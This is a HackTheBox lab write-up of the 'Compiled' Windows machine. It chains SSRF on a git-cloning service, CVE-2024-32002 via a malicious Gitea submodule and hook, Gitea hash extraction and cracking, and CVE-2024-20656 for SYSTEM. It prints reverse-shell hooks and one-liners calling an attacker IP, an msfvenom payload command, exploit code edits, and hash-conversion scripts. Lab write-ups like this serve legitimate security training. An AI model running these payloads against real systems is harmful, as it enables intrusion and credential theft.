the_open_door
coffee
ESEN

Compiled

HackTheBoxMediumWindows10.10.11.26

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#gitea#git#ssrf#cve-2024-32002#git-hook#rce#hashcat#pbkdf2#winrm#cve-2024-20656#visual-studio#runascs#privilege-escalation
TL;DR. Compiled is a Windows box offering a service that compiles code from a git repository URL. Pointing that URL at our machine (SSRF) leaks the git version: 2.45.0.windows.1, vulnerable to CVE-2024-32002. With two repos on the local Gitea (submodule + symlink) we plant a git hook that runs on clone and gives a shell as richard. Its access to Gitea's database lets us dump hashes; we crack emily's (cracking) and log in over WinRM. For root, the box has Visual Studio: we abuse the VSStandardCollectorService150 service running as SYSTEM (CVE-2024-20656), launching the exploit with RunasCs.

Reconnaissance

Initial scan

ping -c 1 10.10.11.26

ping to 10.10.11.26 with ttl=127

64 bytes from 10.10.11.26: icmp_seq=1 ttl=127 time=115 ms

TTL 127 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 127 = 128−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

The UDP sweep of the 1000 most common ports goes first, because it is the one almost nobody runs and it occasionally hands over a service:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 10.10.11.26 | grep -v 'no-response'

the UDP scan finishes with an empty PORT table: no open UDP port

Completed UDP Scan at 22:33, 2.21s elapsed (1000 total ports)
Nmap scan report for 10.10.11.26
Host is up, received user-set.

PORT        STATE           SERVICE             REASON

Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds
           Raw packets sent: 2090 (98.700KB) | Rcvd: 0 (0B)

Empty table and Rcvd: 0 (0B): nothing over UDP. The full TCP scan does leave three ports:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.26 -oG scan

the full TCP scan discovers ports 3000, 5000 and 5985, all with ttl 127

Discovered open port 5985/tcp on 10.10.11.26
Discovered open port 3000/tcp on 10.10.11.26
Discovered open port 5000/tcp on 10.10.11.26
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE REASON
3000/tcp open  ppp     syn-ack ttl 127
5000/tcp open  upnp    syn-ack ttl 127
5985/tcp open  wsman   syn-ack ttl 127

The service names nmap prints here (ppp, upnp, wsman) come from its static port table, not from the actual response: only 5985's wsman is right. All three get carried into the next command by extractPorts:

extractPorts scan

extractPorts returns IP Address 10.10.11.26 and Open ports 3000,5000,5985, copied to the clipboard

Extracting information ...
IP Address: 10.10.11.26
Open ports: 3000,5000,5985

Ports copied to clipboard

File: extractPorts.tmp
1  IP Address: 10.10.11.26
2  Open ports: 3000,5000,5985
nmap -p3000,5000,5985 -sCV 10.10.11.26

the version scan identifies 3000 as a Golang net/http server titled Git with the i_like_gitea cookie

PORT     STATE SERVICE VERSION
3000/tcp open  http    Golang net/http server
|_http-title: Git
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.0 200 OK
|     Set-Cookie: i_like_gitea=475db53be2d54235; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=YoET2GXQU44Gxd3QC8Ai6UvMpMw6MTc2NjUxMDY2Mjk4NDk3MDYwMA; Path=/; Max-Age=86400
|     X-Frame-Options: SAMEORIGIN
|_    <title>Git</title>
5000/tcp open  http    Werkzeug httpd (Python)
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (WinRM)

The rest of that same output gives the exact versions of the other two:

the lower half of the scan shows Werkzeug 3.0.3 with Python 3.12.3 on 5000, Microsoft HTTPAPI 2.0 on 5985 and the unrecognised fingerprint of 3000

5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title: Compiled - Code Compiling Services
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
1 service unrecognized despite returning data.

It pays to read what 3000 returns slowly, because nmap does not say "Gitea": it says Golang net/http server, which is just the server's language. What identifies it is a detail in the response, the i_like_gitea cookie, which is that product's session cookie. A good example of why you read the whole fingerprint-strings instead of stopping at the VERSION column.

So we have a Gitea (git server with a web UI), a Flask/Werkzeug app and WinRM. The open WinRM matters: with credentials for a user in the right group we get a direct shell.

HTTP - TCP 3000 and 5000: the compilation service

We confirm the identification of both web services before touching them:

whatweb http://10.10.11.26:3000
whatweb http://10.10.11.26:5000

whatweb confirms Gitea on 3000 and Werkzeug 3.0.3 with Python 3.12.3 on 5000, titled Compiled - Code Compiling Services

http://10.10.11.26:3000 [200 OK] Cookies[_csrf,i_like_gitea], HTML5, HttpOnly[_csrf,i_like_gitea],
IP[10.10.11.26], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website],
PoweredBy[Gitea], Script, Title[Git], X-Frame-Options[SAMEORIGIN]

http://10.10.11.26:5000 [200 OK] Bootstrap[4.5.2], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3],
IP[10.10.11.26], JQuery, Python[3.12.3], Script, Title[Compiled - Code Compiling Services],
Werkzeug[3.0.3]

Wappalyzer agrees on both ports, which already hints they share a template:

Wappalyzer on 3000 detects Gitea under Development, Go as the language, Vue.js, jQuery 3.7.1 and Bootstrap 4.5.2

Development           Gitea
Programming languages Go
JavaScript frameworks GSAP, Vue.js
JavaScript libraries  core-js 3.22.8, jQuery 3.7.1
UI frameworks         Bootstrap 4.5.2

Wappalyzer on 5000 returns exactly the same list, with the Welcome to Compiled landing page behind it

The source of both completes the picture. The one on 3000 leaks two facts whatweb does not give: the Gitea version and the internal name it is configured with:

the view-source of 3000 shows appUrl gitea.compiled.htb:3000 and assetVersionEncoded with version 1.21.6

<title>Git</title>
<meta name="author" content="Gitea - Git with a cup of tea">
<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">

window.config = {
    appUrl: 'http:\/\/gitea.compiled.htb:3000\/',
    assetVersionEncoded: encodeURIComponent('1.21.6'),

Gitea 1.21.6 and the internal domain gitea.compiled.htb. The one on 5000 shows the form and, above all, the name of the parameter we will be attacking:

the view-source of 5000 shows the POST form with the repo_url input and the three compilation cards for C++, C# and .NET

<h2 class="mb-4">Compile your code</h2>
<form method="post" action="/">
    <div class="form-group">
        <label for="repo_url">Enter Git Repository URL:</label>
        <input type="text" id="repo_url" name="repo_url" class="form-control col-md-6 mx-auto">
    </div>
    <button type="submit" class="btn btn-primary">Submit</button>
</form>

Now it is settled: PoweredBy[Gitea] nails 3000, and 5000's title (Compiled - Code Compiling Services) tells us what it is for. A dirsearch against the Gitea pulls its usual routes:

dirsearch -u http://10.10.11.26:3000/ --exclude-status=403,404

dirsearch against Gitea lists /user/login, /administrator, /explore/repos and a /v2 answering 401

[15:12:28] 303 -   38B  - /admin  ->  /user/login
[15:12:36] 200 -  16KB  - /administrator
[15:12:39] 200 -  704B  - /api/swagger
[15:12:54] 303 -   41B  - /explore  ->  /explore/repos
[15:12:54] 200 -  18KB  - /explore/repos
[15:13:31] 200 -  11KB  - /user/login/
[15:13:32] 401 -   50B  - /v2/

Nothing exploitable up front (everything leads to the login), but /explore/repos goes on the list: it is the public repository view, and on a misconfigured Gitea that is where code shows up that should not. Against 5000 the same sweep yields nothing:

dirsearch -u http://10.10.11.26:5000/ --exclude-status=403,404 2>/dev/null

dirsearch against 5000 walks the 11460 words of the wordlist and ends with Task Completed without a single result line

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.11.26:5000/

[15:16:13] Starting:

Task Completed

Not one route. So we explore it by hand:

the port 5000 site compiles code from a git repository URL

The 5000 app compiles C++/C#/.NET projects from a git repository URL. Submitting a sample value makes the validation itself explain the expected input:

the form returns in red: Invalid Git repository URL. It must start with "http://" and end with ".git"

Invalid Git repository URL. It must start with "http://" and end with ".git".

It requires the value to start with http:// and end in .git. A service that will clone whatever we give it is a clear candidate for SSRF and, depending on the git version, for RCE.

Exploitation

TCP 5000: SSRF and git version leak

We point the URL at our machine with a listener up. Instead of a Python HTTP server we use nc, which shows the raw headers of the incoming request (SSRF):

nc -nlvp 80
# in the site: http://10.10.16.4/x.git

nc receives the server request with User-Agent git/2.45.0.windows.1

GET /x.git/info/refs?service=git-upload-pack HTTP/1.1
User-Agent: git/2.45.0.windows.1

The server visits us and reveals the key piece: it uses git 2.45.0.windows.1. Searching for that exact version always returns the same identifier:

the search for "git version 2.45 0 windows 1 vulnerability" returns entries from Invicti, Amal Murali, GitHub and CVE Details, all pointing at CVE-2024-32002

Git SCM affected by CVE-2024-32002 (invicti.com)
Exploiting CVE-2024-32002: RCE via git clone (amalmurali.me)
A proof of concept for the git vulnerability CVE-2024-32002 (github.com/amalmurali47)
Vulnerability Details CVE-2024-32002 GIT (cvedetails.com)

That version carries CVE-2024-32002, an RCE triggered when recursively cloning a malicious repository.

TCP 3000 and 5000: RCE via CVE-2024-32002

CVE-2024-32002 exploits submodule and symlink handling on case-insensitive filesystems (Windows): with two crafted repos, git writes a hook into .git/hooks/ and runs it during the clone itself, with no victim interaction.

explanation of CVE-2024-32002 (RCE in recursive git clone)

The article also ships the complete proof of concept, which is the script we follow step by step (swapping its calc.exe for a reverse shell):

the article's proof-of-concept script: it sets protocol.file.allow and core.symlinks, creates the hook repo with its post-checkout, then the captain repo with the x/y submodule

#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

The only difference here is that the PoC uses local repositories ($(pwd)/hook) while we have to publish ours on the victim's Gitea, so the compilation service can clone them.

Registration is open, so we create an account:

Gitea's Register Account form filled in with the user test and the email test@test.com

Register
  Username      : test
  Email Address : test@test.com
  Password / Confirm Password
  [Register Account]

Once inside, /explore/repos shows what is published, and along the way a system username:

Gitea's Explore view, authenticated as test, lists the repositories richard/Compiled in Python and richard/Calculator in C++

Repositories
  richard / Compiled     Python
  richard / Calculator   Yet a simple C++ calculator to run on CMD or PowerShell.   C++

richard owns both repositories: a system user to aim at. Now ours. The first one, hook:

Gitea's New Repository form with the owner test and the repository name hook

the Create Repository button at the bottom of the form

git clone http://10.10.11.26:3000/test/hook
cd hook
ls -la

the clone warns the repository is empty and the ls -la shows only the .git directory

Cloning into 'hook' ...
warning: You appear to have cloned an empty repository.

total 12
drwxr-xr-x 3 root root 4096 Dec 23 16:22 .
drwxr-xr-x 5 root root 4096 Dec 23 16:22 ..
drwxr-xr-x 6 root root 4096 Dec 23 16:22 .git

Inside goes the payload in hooks/post-checkout:

mkdir -p y/hooks
cat > y/hooks/post-checkout <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.4/4444 0>&1
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"

the heredoc writes the post-checkout with the reverse shell to 10.10.16.4:4444, it is made executable and the commit returns deddc9d

[main (root-commit) deddc9d] post-checkout
git push

the git push asks for the Gitea username and password and uploads the 5 objects, creating the main branch

Username for 'http://10.10.11.26:3000': test
Password for 'http://test@10.10.11.26:3000':
Enumerating objects: 5, done.
Writing objects: 100% (5/5), 337 bytes | 337.00 KiB/s, done.
To http://10.10.11.26:3000/test/hook
 * [new branch]      main -> main

Unlike the PoC, the hook repository's path is not local but the Gitea URL:

the hook_repo_path variable is set to http://10.10.11.26:3000/test/hook

hook_repo_path="http://10.10.11.26:3000/test/hook"

The second repository, captain, is created the same way:

the New Repository form with the owner test and the name captain

New Repository
  Owner *           test
  Repository Name * captain
  Visibility        [ ] Make repository private
  Description       (Enter short description (optional))
  Template          Select a template.
  Issue Labels      Select an issue label set.
  .gitignore        Select .gitignore templates.

It adds a submodule pointing at hook and a symlink redirecting A/modules/x into .git, so the hook lands in .git/hooks/ (git hook RCE):

git clone http://10.10.11.26:3000/test/captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

the submodule add clones the hook repo into captain/A/modules/x and the commit returns ddaaff2

Cloning into '/home/krmena/machines/compiled/content/captain/A/modules/x' ...
remote: Enumerating objects: 5, done.
remote: Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (5/5), done.
[main (root-commit) ddaaff2] add-submodule

The symlink is not created with ln but written straight into git's index: the text .git is stored as an object and that object is registered with mode 120000, which is how git marks a symbolic link.

printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"

the sequence of hash-object, printf with mode 120000, update-index and the 8373542 add-symlink commit

[main 8373542] add-symlink
git push

captain's push uploads 8 objects and creates the main branch in the Gitea repository

Enumerating objects: 8, done.
Writing objects: 100% (8/8), 594 bytes | 297.00 KiB/s, done.
To http://10.10.11.26:3000/test/captain
 * [new branch]      main -> main

Shell as richard

We listen on 4444 (the port in the post-checkout hook). Instead of a bare nc we use Penelope (repo), a reverse-shell handler that takes several sessions at once and tries to upgrade them to a PTY automatically:

penelope

We hand the 5000 service the URL of the captain repo. Cloning it recursively runs the post-checkout:

the site accepts the URL http://10.10.11.26:3000/test/captain.git and answers "Your git repository is being cloned for compilation", while Penelope registers the session and whoami returns Richard

Your git repository is being cloned for compilation.

[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from COMPILED~10.10.11.26-MINGW64_NT-10.0-19045-x86_64
[+] Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[!] Cannot upgrade shell with the available binaries ...
[+] Interacting with session [1], Shell Type: Readline

Richard@COMPILED MINGW64 ~/source/cloned_repos/31bp8/.git/modules/x
$ whoami
Richard

The shell that lands is a MINGW64 one, from Git for Windows, and it refuses to upgrade to a PTY. To work comfortably it pays to jump to a PowerShell, and the one-liner comes ready-encoded from revshells.com:

revshells.com with the IP 10.10.16.4 and port 1234, the PowerShell #3 (Base64) template selected and the powershell -e command ready to copy

IP: 10.10.16.4   Port: 1234
PowerShell #3 (Base64)
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0A...

That powershell -e is pasted into the Penelope session with an nc listening on 1234:

rlwrap nc -nlvp 1234

Penelope stacks several sessions and, after pasting the powershell -e, the listener on 1234 gets a clean PowerShell where whoami returns Richard

listening on [any] 1234 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.26] 63853

PS C:\Users\Richard\Desktop> whoami
Richard

The hook runs in the compilation service's context: we are compiled\richard.

Access as emily

Gitea's database

Exploring the system from the root, C:\Program Files already gives away who lives here:

dir C:\
cd PROGRA~1
dir

the dir of C:\ shows app, Program Files and Users, and inside Program Files there are Git, Gitea and Python312

    Directory: C:\
d----   5/24/2024   4:36 PM   app
d-r--   5/24/2024   8:10 PM   Program Files
d-r--   5/22/2024   7:56 PM   Users

    Directory: C:\Program Files
d----   5/23/2024   3:34 PM   Git
d----   5/22/2024   8:01 PM   Gitea
d----   5/24/2024   3:43 PM   Python312

Gitea keeps all of its state in a data subdirectory, and there sits the database:

cd Gitea
dir
cd data
dir

Gitea's directory holds custom, data, log and gitea.exe; inside data appears gitea.db at 2,023,424 bytes

    Directory: C:\Program Files\Gitea
d----   5/22/2024   8:01 PM              custom
d----  12/23/2025   5:40 PM              data
d----   5/22/2024   8:01 PM              log
-a---   5/22/2024   7:42 PM   208024735  gitea.exe

    Directory: C:\Program Files\Gitea\data
d----   12/23/2025  5:21 PM              gitea-repositories
d----   12/23/2025  5:16 PM              sessions
-a---   12/23/2025  5:40 PM     2023424  gitea.db

To analyse it calmly we bring it back over SMB, mounting the share with credentials (an unauthenticated smbserver.py gets refused by modern Windows policy):

smbserver.py smbFolder $(pwd) -smb2support -username kmn9 -password kmn9123
net use \\10.10.16.4\smbFolder /u:kmn9 kmn9123
copy gitea.db \\10.10.16.4\smbFolder

the net use completes successfully, the copy carries gitea.db to the share and the attacker's ls already shows it next to captain and hook

C:\Program Files\Gitea\data> net use \\10.10.16.4\smbFolder /u:kmn9 kmn9123
The command completed successfully.

C:\Program Files\Gitea\data> copy gitea.db \\10.10.16.4\smbFolder

# ls
Calculator  captain  gitea.db  hook

Locally, sqlite3 opens the database and lists its tables:

sqlite3 gitea.db
.tables

sqlite3 3.46.1 opens gitea.db and .tables lists dozens of Gitea tables: access, action, badge, collaboration, org_user, package, project, public_key...

SQLite version 3.46.1 2024-08-13 09:16:08
sqlite> .tables
access            org_user          package_version
access_token      package           project
action            package_blob      protected_branch
...

The one that matters is user, which stores the password hashes:

dump of the user table from Gitea's database

Gitea stores salt and passwd in hexadecimal, while hashcat expects the format sha256:<iterations>:<salt_b64>:<digest_b64>. That conversion is not invented here: it is documented on hashcat's own forum.

a hashcat.net forum thread explains how to build the sha256:$iterations:$salt:$digest string and shows the example sha256:4096:bEJJem5JcTI=:mvW7jv+5py4wiLhB7AnGUN3xJmKw6Z1c

$salt   = base64_encode (substr ($phpass_hash, 7, 8));
$digest = convert_base64 (substr ($phpass_hash, 16));
echo "sha256:$iterations:$salt:$digest\n";

sha256:4096:bEJJem5JcTI=:mvW7jv+5py4wiLhB7AnGUN3xJmKw6Z1c
which can be cracked with -m 10900

With that template, a while loop translates the three columns in one go:

sqlite3 gitea.db "select name,passwd,salt from user" | while read line; do \
  salt="$(echo $line | awk '{print $3}' FS='|' | xxd -p -r | base64)"; \
  digest="$(echo $line | awk '{print $2}' FS='|' | xxd -p -r | base64)"; \
  username="$(echo $line | awk '{print $1}' FS='|')"; \
  echo "${username}:sha256:50000:${salt}:${digest}"; done | tee hashes

the one-liner returns four lines in the user:sha256:50000:salt:digest format for administrator, richard, emily and test, and the cat hashes confirms them in the file

administrator:sha256:50000:pFxD023OMHYVixnCxpbvew==:G/CpVhzwdsX8DXbhQHiKkbUoFgnDhHkYOf1umZbTu/XJG47ua9UIHkIIXtC+d5wu+G0=
richard:sha256:50000:188slid90W2V7Vwzu1JLYg==:S0tTdm/pRufikbEG/Nb0lik0EW7JrHipmzv2sGz4Voqu3SZ+wCs5rrJE2D+4uJwkO14=
emily:sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=
test:sha256:50000:0ZFcoZSjh3TUvIK7NXfqHw==:VDlhulu1Mj1CVo3Q7Sg6DIKX8ukqVYU93uGNM8wZ5fJ+ld3lQ4mp+8ACvBElqxRd94U=

Four accounts: administrator, richard, emily and our test.

Crack emily's hash

hashcat auto-detects mode 10900 (PBKDF2-HMAC-SHA256) and breaks emily's password (hash cracking):

hashcat hashes /usr/share/wordlists/rockyou.txt --user

hashcat 7.1.2 starts in autodetect mode, works out mode 10900 PBKDF2-HMAC-SHA256 and loads the 4 digests with rockyou.txt

hashcat (v7.1.2) starting in autodetect mode

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF

Hashes: 4 digests; 4 unique digests, 4 unique salts
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344396
hashcat hashes --show --user

hashcat reveals emily:12345678

emily:sha256:50000:...:...:12345678

emily's password is 12345678. With WinRM (5985) open, we log in with evil-winrm and read the user flag:

evil-winrm -i 10.10.11.26 -u 'emily' -p '12345678'

evil-winrm 3.9 establishes the session, whoami returns compiled\emily and ipconfig confirms the IP 10.10.11.26

Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Emily\Documents> whoami
compiled\emily
*Evil-WinRM* PS C:\Users\Emily\Documents> ipconfig

Ethernet adapter Ethernet0 2:
   IPv4 Address. . . . . . . . . . . : 10.10.11.26
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : 10.10.10.2
type ..\desktop\user.txt

the type of user.txt returns the user flag

*Evil-WinRM* PS C:\Users\Emily\Documents> type ..\desktop\user.txt
9b3b4a0ba806220a0db474a216dcfe63

Privilege escalation

The hint: Visual Studio

A note in the service repository insists on "keeping Visual Studio updated to the latest version". It is not filler: it points to a patched VS vulnerability, and indeed the box has VS installed.

note insisting on updating Visual Studio

The note checks out immediately: Visual Studio is installed.

cd PROGRA~2
dir

the listing of C:\Program Files (x86) includes Microsoft Visual Studio, highlighted, next to Microsoft SDKs and MSBuild

    Directory: C:\Program Files (x86)
d----   1/20/2024   1:50 AM   Microsoft
d----   7/16/2024   2:45 PM   Microsoft SDKs
d----   1/20/2024  10:13 AM   Microsoft Visual Studio
d----   1/20/2024   1:59 AM   Microsoft.NET
d----   1/20/2024   1:52 AM   MSBuild

Inside, the 2019 folder gives the edition and the Installer carries the tool that gives the exact version:

cd "Microsoft Visual Studio"
dir
cd Installer
dir

inside Microsoft Visual Studio there are 2019, Installer and Shared; the Installer holds Assets, Feedback and the language directories

    Directory: C:\Program Files (x86)\Microsoft Visual Studio
d----   1/29/2024   9:07 PM   2019
d----   1/20/2024   1:57 AM   Installer
d----   1/20/2024   2:04 AM   Shared
& "C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe" -property catalog_productDisplayVersion

vswhere.exe returns version 16.10.0

16.10.0

Visual Studio 2019, version 16.10.0, well behind the one the README itself asked to keep current.

CVE-2024-20656: VSStandardCollectorService150 as SYSTEM

Installing VS with C/C++ support creates the service VSStandardCollectorService150, which runs as LocalSystem and starts on demand. The first attempt to query it from the WinRM session fails:

sc.exe qc VSStandardCollectorService150

sc.exe qc returns OpenService FAILED 5: Access is denied

[SC] OpenService FAILED 5:

Access is denied.

That Access is denied is not a dead end, it is the first warning of what will bite at the very end: the WinRM session's token does not carry the same rights as an interactive session. Re-running the query through RunasCs does answer:

sc qc of the service: SERVICE_START_NAME LocalSystem

SERVICE_NAME: VSStandardCollectorService150
        BINARY_PATH_NAME : "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Common\DiagnosticsHub.Collection.Service\StandardCollector.Service.exe"
        SERVICE_START_NAME : LocalSystem

CVE-2024-20656 abuses that service's file operations, combining them with junctions and reparse points to run an attacker binary as SYSTEM:

analysis of CVE-2024-20656 on VSStandardCollectorService150

Compile the exploit and get SYSTEM

The proof of concept is published, and its README points at the MDSec article explaining the flaw:

the Wh04m1001/CVE-2024-20656 repository on GitHub, with the Expl directory and the link to the mdsec.co.uk article titled Local Privilege Escalation in the VSStandardCollectorService150 Service

Wh04m1001 / CVE-2024-20656
  Expl/        Update main.cpp
  README.md    PoC for EoP in VSStandardCollectorService150 service
               https://www.mdsec.co.uk/2024/01/cve-2024-20656-local-privilege-escalation-in-vsstandardcollectorservice150-service/
  Languages: C++ 100.0%

It is C/C++, so it must be compiled, and that needs a machine with Visual Studio. We clone it on a Windows lab box:

git clone https://github.com/Wh04m1001/CVE-2024-20656

the git clone pulls the repository's 24 objects, and the GitHub view shows the files Expl.sln, Expl.vcxproj, FileOplock.cpp and main.cpp

Cloning into 'CVE-2024-20656'...
remote: Enumerating objects: 24, done.
Receiving objects: 100% (24/24), 13.08 KiB | 191.00 KiB/s, done.

the download and install of Visual Studio Community on the lab machine

The code carries two paths that need adjusting. The first, at the top of main.cpp, points at the diagnostics binary the service will run, and ships set for VS 2022:

main.cpp open in Visual Studio Code, with the file's first line pointing at the Visual Studio 2022 Community, Team Tools, DiagnosticsHub path

WCHAR cmd[] = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\Diagnostics...";

The victim has VS 2019 under Program Files (x86), so the path gets corrected:

compilation of the Expl.exe exploit in Visual Studio

WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";

The second path lives in the cb1() function, and it is the one deciding which binary gets copied into the privileged spot: that is where our reverse shell plugs in.

the cb1 function with the CopyFile line copying c:\\ProgramData\\reverse.exe over MofCompiler.exe, highlighted

void cb1()
{
    printf("[*] Oplock!\n");
    while (!Move(hFile2)) {}
    printf("[+] File moved!\n");
    CopyFile(L"c:\\ProgramData\\reverse.exe",
             L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
    finished = TRUE;
}

With both paths adjusted it builds in Release x64:

Visual Studio builds the project in Release x64: 1 succeeded, 0 failed, producing Expl.exe under x64\Release

1> Expl.vcxproj -> C:\Users\usuario\Desktop\CVE-2024-20656\Expl\x64\Release\Expl.exe
========== Compilación: 1 correcto, 0 erróneo, 0 actualizado, 0 omitido ==========
========== Compilar completado a las 3:12 y tardó 13,898 segundos ==========

The freshly built binary goes back to Kali over SMB, the same way the database came:

smbserver.py smbfolder $(pwd) -smb2support
net use \\192.168.1.80\smbfolder
copy Expl.exe \\192.168.1.80\smbfolder

the net use connects the share, the copy carries Expl.exe across and Kali's ls already shows Expl.exe next to RunasCs.exe and reverse.exe

C:\...\Expl\x64\Release>copy Expl.exe \\192.168.1.80\smbfolder
        1 archivo(s) copiado(s).

# ls
Expl.exe  RunasCs.exe  RunasCs.zip  RunasCs_net2.exe  reverse.exe

We generate the reverse shell payload with msfvenom and upload the three binaries to the box:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.4 LPORT=4443 -f exe -o reverse.exe
python3 -m http.server 80
wget http://10.10.16.4/Expl.exe -outfile Expl.exe

the wget pulls Expl.exe into C:\ProgramData while the attacker's http.server logs the GET /Expl.exe with a 200

*Evil-WinRM* PS C:\ProgramData> wget http://10.10.16.4/Expl.exe -outfile Expl.exe

10.10.11.26 - - [24/Dec/2025 02:23:54] "GET /Expl.exe HTTP/1.1" 200 -

upload of Expl.exe, reverse.exe and RunasCs to the machine

*Evil-WinRM* PS C:\ProgramData> dir
Mode    LastWriteTime           Length  Name
-a---   12/24/2025   3:23 AM     172032 Expl.exe
-a---   12/24/2025   3:26 AM       7680 reverse.exe
-a---   12/24/2025   2:20 AM      51712 Runas.exe

Using wget from the Evil-WinRM session we pull the three binaries into C:\ProgramData: the Expl.exe (compiled exploit), the reverse.exe (msfvenom payload, 7680 bytes) and Runas.exe (RunasCs).

With nc listening on 4443 (the LPORT of reverse.exe):

rlwrap nc -nlvp 4443

The final detail: the WinRM session uses a network logon, whose token is not enough for the exploit to talk to the service's COM. We relaunch it with an interactive logon using RunasCs (RunasCs) and emily's credentials:

.\Runas.exe emily 12345678 "cmd /c C:\ProgramData\Expl.exe"

RunasCs launches the exploit and a shell as nt authority\system is received

The exploit triggers the SYSTEM service, which runs the payload, and we get the reverse shell as nt authority\system:

C:\ProgramData\Microsoft\VisualStudio\SetupWMI> whoami
nt authority\system

the type of root.txt from the SYSTEM shell returns the final flag

C:\>type C:\users\administrator\desktop\root.txt
e6b5363d8a2d8175e4d1a9425bdea04b

Attack chain

HTTP 5000 (compilation service, clones git URLs)
   └── SSRF: point the URL at our IP ── leaks git version 2.45.0.windows.1
        └── CVE-2024-32002 (submodule + symlink on Gitea 3000)
             └── git hook post-checkout on clone ── RCE as richard
                  └── gitea.db (PBKDF2) → hashcat cracks emily:12345678
                       └── WinRM as emily  (user.txt)
                            └── VSStandardCollectorService150 (SYSTEM) + CVE-2024-20656
                                 └── RunasCs (interactive logon) runs Expl.exe ── SYSTEM  (root.txt)

Lessons learned

  • A service that clones what you give it is SSRF before RCE. Pointing the URL at our machine and reading the headers with nc leaked the exact git version, and that version gave the CVE.
  • nc shows more than an HTTP server. The User-Agent with the client version travels in the raw headers; a python -m http.server receives the connection but does not surface them as clearly.
  • CVE-2024-32002 turns a clone into RCE. The submodule + symlink trick writes a hook into .git/hooks/ that runs during the clone itself, with no victim interaction.
  • Application databases are loot. The gitea.db accessible to richard held every user's hashes; cracking emily's opened WinRM.
  • Prompt hints count. "Update Visual Studio" flagged the root vector: a VS service running as SYSTEM and vulnerable to CVE-2024-20656.
  • Logon type matters. WinRM's network token was not enough for the exploit; RunasCs with an interactive logon gave it the context it needed.
Command cheatsheet 18 commands

Quick review